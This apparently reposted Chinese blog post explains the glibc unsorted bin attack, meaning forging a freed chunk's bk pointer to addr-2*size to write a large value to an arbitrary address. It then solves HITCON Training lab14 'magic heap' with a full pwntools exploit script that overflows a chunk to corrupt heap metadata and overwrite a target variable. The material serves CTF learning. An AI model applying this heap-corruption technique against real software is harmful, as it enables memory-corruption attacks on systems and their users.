在程序 malloc 时,如果在 fastbin,small bin 中找不到对应大小的 chunk,就会尝试从 unsorted Bin 中寻找 chunk。如果取出来的 chunk 大小刚好满足,就会直接返回给用户,否则就会把这些 chunk 分别插入到对应的 bin 中。
unsorted Bin Attack 的前提是unsorted Bin Chunk 的 bk 指针可控
我们可以修改bk(指向链表中下一个chunk)为 addr-2*size (size是一个单位大小,32/64程序为4/8)
来修改addr地址的值,能实现任意地址修改,但只能修改成较大的值
为什么是addr-2*size
一个完整的chunk
我们可以构造一个假的
如果我们修改链表中上一个chunk的bk指向addr-2*size 也就是prev_size
那么addr位置就对应到fd
当我们把上一个chunk拿走(其实是unsorted bin里面的最后一个,我们通过修改bk,构造了一个假的在其后,),unsorted bin 就会更新 进而将假chunk的fd更新为一个较大值
unsorted bin的机制是 FIFO 即先进先出
新的chunk放在链首位置,取出的时候从链尾开始遍历,直到找到大小符合的chunk,或者遍历完
遍历过的chunk,如果没有被选中使用,就会转移到相应的bin中(也就是sorted了)
unsorted bin以及其他类似的bin,可以看作是一个具有分类,标志性意义的chunk
可以看出这里chunk的fd指针没有什么用,不过unsorted bin 链表可能就此破坏,如果再加入新的chunk到unsorted bin,就可能发生错误
所以假chunk的fd(addr)就会更新指向上上一个chunk的地址
因为unsorted bin的bk指向的是假chunk的上一个chunk 所以假chunk不会被遍历
然后讨论一下size的一些东西
size必须是2*SIZE_SZ的整数倍 ( SIZE_SZ 在32/64程序中为4/8)
不满足整数倍的size按小于size且最大的整数倍处理
所以不论是32还是64程序 size的低三个字节对size大小没有影响 且有特殊含义
它们从高到低分别表示为:
NON_MAIN_ARENA,记录当前 chunk 是否不属于主线程,1表示不属于,0表示属于。
IS_MAPPED,记录当前 chunk 是否是由 mmap 分配的。
PREV_INUSE,记录前一个 chunk 块是否被分配。一般来说,堆中第一个被分配的内存块的 size 字段的P位都会被设置为1,以便于防止访问前面的非法内存。
题目
HITCON Training lab14 magic heap
目标是将magic的值改为大于0x1305
而且edit可以修改size
当所有bin里面都没有符合的chunk的时候,程序就会从topchunk里面分割相应大小的chunk出来
所以在程序开始我们连续申请chunk 得到的chunk地址应该是连续的
进而可以修改上一个chunk的size,content来修改该被释放的相邻位置的chunk的所有内容
代码中0x91的1就是最低位bit prev_inuse标志位
from pwn import * io = process(‘./mag‘) def add(size, content): io.recvuntil(":") io.sendline("1") io.recvuntil(":") io.sendline(str(size)) io.recvuntil(":") io.sendline(content) def edit(idx, size, content): io.recvuntil(":") io.sendline("2") io.recvuntil(":") io.sendline(str(idx)) io.recvuntil(":") io.sendline(str(size)) io.recvuntil(":") io.sendline(content) def cut(idx): io.recvuntil(":") io.sendline("3") io.recvuntil(":") io.sendline(str(idx)) add(0x20,‘0x20‘) # 0 add(0x80,‘0x80‘) # 1 add(0x20,‘0x20‘) # 2 cut(1) prev_size=0 size=0x91 fd=0 bk=0x6020C0-0x10 payload=‘A‘*0x20+p64(prev_size)+p64(size)+p64(fd)+p64(bk) edit(0,0x20*2,payload) add(0x80,‘0x80‘) io.recvuntil(":") io.sendline("4869") io.interactive()
原文地址:https://www.cnblogs.com/lxy8584099/p/12046442.html